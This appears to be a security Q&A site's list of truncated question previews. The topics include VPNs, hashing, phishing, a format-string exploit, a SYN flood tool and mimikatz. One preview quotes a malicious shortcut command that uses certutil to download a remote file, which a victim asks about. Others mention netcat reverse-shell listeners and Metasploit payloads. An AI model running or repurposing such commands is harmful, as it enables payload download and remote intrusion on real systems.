All Questions

Hacker had borrowed my android phone and he can put my mobile on surveillance with the help of illegal person,I reset my android phone without backing up data and then I ran malwarebytes app and with ...

Folks I'm trying to set up an SSTP VPN on Windows Server 2019 Essentials (I was originally going to use L2TP/IPSec, but the company who manage our network infrastructure don't support it).I'm new to ...

I am sure that something malicious is going on with the 1st file (bigger file size) Please compare the two files and test if something malicious is found 1st file(malicious) -- https://funksyou.com/...

Hash values are also useful for verifying the integrity of data sent through insecure channels. The hash value of received data can be compared to the hash value of data as it was sent to determine ...

I have a project that I have to present on a Zoom call for my AP Computer Science class. I have a flask site, that I am running off of my laptop onto a port forward. When I run the server it says: ...

guys! Do you know any security online courses based on a game format?

I have a backup routine via crontab on Ubuntu. This routine generates a compressed tar.gz file and sends it to AWS S3. But I want to encrypt these files and be able to decrypt them when necessary on ...

We have a web server behind an AWS Load Balancer. We'd like to block any host from accessing our web server if they are connecting from a Consumer VPN style network. We'll also be doing some geo-...

Reddit has a new image upload feature that takes a very long time to work after you click submit-- as long as 30 seconds. It isn't caused by the upload itself; that happens very quickly. I don't know ...

I have a binary file vulnerable to a format strings attack with the following protections: (Full relro, NX and PIE) I have managed to find the libc version and hence the address of system and bin/sh ...

Firebase iOS and Android applications authenticate with their servers using OAuth 2. Google makes this easy by providing a JSON file with the credentials and a library that handles authentication. ...

Has someone done an actual study on how effective typo domains are versus random websites in phishing links? I am trying to justify the expense of going after typosquatters and the possibility of the ...

MD4 hash 1dbc00a3c4002a508a9a501d1e1ee676??? Pls help me guys answer this question

It is said that PEM certificates are encoded with ASCII (Base64), excluding labels. Let's take this certificate as an example. -----BEGIN CERTIFICATE----- ...

Recently I found a leaked database of a company and I do not know how to go about contacting the company. It is so weird because I cannot find any type of Information Security contact email to report ...

I was wondering if the website can detect the remote operation of my PC while I’m visiting. For example; I visit one website and click here and there while using my laptop for controlling my desktop ...

Can original text be extracted from data that has gone through HMACSHA512, if both salt and hash is available? To prevent personal data leaks, is it a good idea to store the hashed form of all user ...

Imagine there is a wireless network using WPA2, and an attacker has come along with his wireless card in monitor mode. What will the packets from that network look like? Is any information disclosed i....

I'm currently working on understanding and contemplating to implement password strength validation for sign ups in my app, to include checking haveibeenpwned if entered password is compromised ...

I'm reading some basic info about Web Cryptography API and I'm wondering if is possible to implement some crypto provider (C/C++ library or something) with some extra algorithms or is mandatory to use ...

Can't one just implement a malloc/calloc wrapper that adds the returned pointer address to a global hash table prior to returning, and then a free wrapper that checks for the presence of the pointer ...

Someone has hacked my android phone and is also capable of hacking while I am using app like winscribe how can I stop my tracking

Let's say I've installed the Symantec VIP app on my device. If someone stole my Symantec VIP credential ID, would they be able to generate the same one-time passcode (OTP) as the app does?

I did a SYN scan (-sS) on a large scope, and now I want to execute a script scan (-sC) on the open ports from the previous SYN scan results. I have results in all formats. Is there a way to do this ...

Company that I am working for is implementing a well known PAM solution to manage and control privileged accounts and credentials. As agreed in the project plan, RBAC roles need to be provided to the ...

I noticed after encrypting some files with 7zip that they contained the information about the encryption algorithm used AES 256, i want to know if there is a better software that doesn't leave traces ...

This Coding horror article talked about the danger of "naive" shuffling solutions and how using the Fisher-Yates shuffle manages to prevent this problem. If one has a large dataset of naive shuffle ...

I am currently researching threat modeling for container security, I am wondering which methods are the best for container security. Till now I got the conclusion that STRIDE is most used and it is ...

So say I ran a python reverse shell script on a victim machine and caught the connection on my machine using netcat -nvlp 4444. What would be the best way to upgrade this shell? Is there a way to ...

I'm doing a nmap scan to my own machine to my own machine. First of all I set the port 333 to listen with this command sudo nc -lvnp 333 On the other terminal I run sudo nmap -O -sV -p 0-65535 IP ...

I want to do something really basic but I need to be sure that the process is safe : Problem Alice and Bob have to agree on a secret 6 digits PIN. They each have a pre-shared aes symetric key k and ...

To access an API developed by a co-worker, he needed to whitelist my IP address and give me a certificate, which came in with the .pfx extension. I can access the API front-end just fine, but I cannot ...

When I run my python script and use netcat -nvlp 4444 the connection establishes fine and I am able to use the functions. When attempting to replicate this in metasploit I use set payload windows/...

It seems there is a large divide as to wether or not you should have JWT or Session ID for managing user session on WebApp/API (for a web front end or/and a mobile app). It seems that the consensus ...

When a Windows 10 computer searches for a network resource on a local network on which a DNS server exists, if the DNS server says "can't find it" (for example due to a typo), does the computer ...

I am a new programmer. I made a SYN Flood program. I observed many packets with Wireshark. But I don't know how many megabytes there were. I don't know how many packets are going to the target in a ...

I live in an apartment complex with lots of people, and oftentimes I would be able to see Bluetooth devices that do not belong to me on my iPhone or MacBook when I search for my Bluetooth device. ...

I'm currently reading the following article and trying to exploit the vulnerability (Handlebars.js 4.1.1 Server Side Template Injection): http://mahmoudsec.blogspot.com/2019/04/handlebars-template-...

I have an internal app that allows users to sign in using Azure AD. On authentication, a SAML assertion is returned. However, some of the calls that the application makes require a JWT. WHat is the ...

I was scrolling on two completely separate web pages, pages I have visited many times before. However they do both have ads. My browser is Opera, and I use an adblocker (on the other site it doesn't ...

I just clean installed my MacOS Catalina on my MacBook due to virus on my PC that I worried got on my MacBook via usb file transfer. I did an internet recovery to reinstall MacOS Catalina with my ...

I have 2 servers with pair of RSA public and private keys. Added We do not use CA for the internal communication yet and therefore we need to exchange keys without CA I need to establish a trust ...

I was finishing a clean installation of macOS Catalina on my MacBook, and I was asked to select a wifi network. I misclicked on a wifi network with a name that's very similar to mine and was asked to ...

What windows registry "mimikatz" modify? where on the c drive is executable file for mimikatz

I've been working on just a fun side project in C++ to practice encryption algorithms and I sort of ran into a bit of a roadblock of sorts. To summarize the project I have a text file of encrypted ...

My laptop doesn't have TPM. If I enable BL PIN and someone steals my laptop and remove the drive, will they be able to read it's content on another computer? How am I vulnerable without TPM?

I am trying to implement an efficient access control hierarchy/inheritance, where one can grant access to resources on a container level. However, it seems it is very easy to get privilege escalation ...

I'm familiar with creating Linux memory profiles as stated here. However, this is assuming that I have access to the live system which often times is not the case. I heard there is a way to build the ...

Yes! this sounds crazy, and it is, please let me give you some background about this... I'm doing a self-checkin app for a hotel, this app will store this checkin data in google sheets, where the ...

I accidentally clicked on a shortcut that is a script.. The shortcut was: %ComSpec% /c echo CreateObject("Wscript.Shell").Run"""%ComSpec%"" /c del ""%USERNAME%.vbs""&certutil -urlcache -f https://...